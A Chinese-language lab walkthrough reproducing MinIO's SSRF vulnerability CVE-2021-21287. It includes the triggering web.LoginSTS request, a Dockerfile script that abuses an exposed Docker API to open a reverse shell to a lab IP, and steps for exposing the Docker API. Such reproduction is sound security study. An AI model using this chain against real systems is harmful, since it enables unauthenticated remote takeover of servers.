您好,登錄后才能下訂單哦!
本篇文章為大家展示了MinIO未授權SSRF漏洞CVE-2021-21287怎么分析,內容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細介紹希望你能有所收獲。
MinIO未授權SSRF漏洞(CVE-2021-21287)
由于MinIO組件中LoginSTS接口設計不當,導致存在服務器端請求偽造漏洞
攻擊者可以通過構造URL來發起服務器端請求偽造攻擊成功利用此漏洞的攻擊者能夠通過利用服務器上的功能來讀取、更新內部資源或執行任意命令
該漏洞無需用戶驗證即可遠程利用
MinIO < RELEASE.2021-01-30T00-20-58Z
Docker 安裝 minio:
docker-compose.yml
version: '3.7' services: minio1: image: minio/minio:RELEASE.2021-01-16T02-19-44Z volumes: - data1-1:/data1 - data1-2:/data2 ports: - "9000:9000" environment: MINIO_ACCESS_KEY: minio MINIO_SECRET_KEY: minio123 command: server http://minio{1...4}/data{1...2} healthcheck: test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"] interval: 30s timeout: 20s retries: 3 ## By default this config uses default local driver, ## For custom volumes replace with volume driver configuration. volumes: data1-1: data1-2:
啟動環境:
首頁樣式:
http://192.168.1.108:9000/minio/login
1、驗證SSRF
具體數據包:
POST /minio/webrpc HTTP/1.1 Host: 192.168.1.104:1234 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Content-Type: application/json Connection: close Content-Length: 79 {"id":1,"jsonrpc":"2.0","params":{"token": "test"},"method":"web.LoginSTS"}
2、ssrf反彈shell
web服務下面放文件:index.php(apache)
反彈shell文件:
DockerFile如下:
FROM alpine:3.13 RUN apk add curl bash jq RUN set -ex && \ { \ echo '#!/bin/bash'; \ echo 'set -ex'; \ echo 'target="http://192.168.1.108:2375"'; \ echo 'jsons=$(curl -s -XGET "${target}/containers/json" | jq -r ".[] | @base64")'; \ echo 'for item in ${jsons[@]}; do'; \ echo ' name=$(echo $item | base64 -d | jq -r ".Image")'; \ echo ' if [[ "$name" == *"minio/minio"* ]]; then'; \ echo ' id=$(echo $item | base64 -d | jq -r ".Id")'; \ echo ' break'; \ echo ' fi'; \ echo 'done'; \ echo 'execid=$(curl -s -X POST "${target}/containers/${id}/exec" -H "Content-Type: application/json" --data-binary "{\"Cmd\": [\"bash\", \"-c\", \"bash -i >& /dev/tcp/192.168.1.104/888 0>&1\"]}" | jq -r ".Id")'; \ echo 'curl -s -X POST "${target}/exec/${execid}/start" -H "Content-Type: application/json" --data-binary "{}"'; \ } | bash
具體操作數據包:
POST /minio/webrpc HTTP/1.1 Host: 192.168.1.104 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Content-Type: application/json Connection: close Content-Length: 79 {"id":1,"jsonrpc":"2.0","params":{"token": "test"},"method":"web.LoginSTS"}
為了好的展示錄了一個小視頻。
過程枯燥等待較長:加了一個BGM
視頻:
操作視頻的結果:
https://mp.weixin.qq.com/s/9OavrcdczSZDXler5IpiQQ
注意??:
因為自己Docker API已開啟,過程未寫入其中。
開啟Docker API參考:
打開配置文件找到
打開配置文件找到 ExecStart=/usr/bin/dockerd 修改為 ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock 重啟 $ systemctl daemon-reload $ systemctl restart docker
上述內容就是MinIO未授權SSRF漏洞CVE-2021-21287怎么分析,你們學到知識或技能了嗎?如果還想學到更多技能或者豐富自己的知識儲備,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。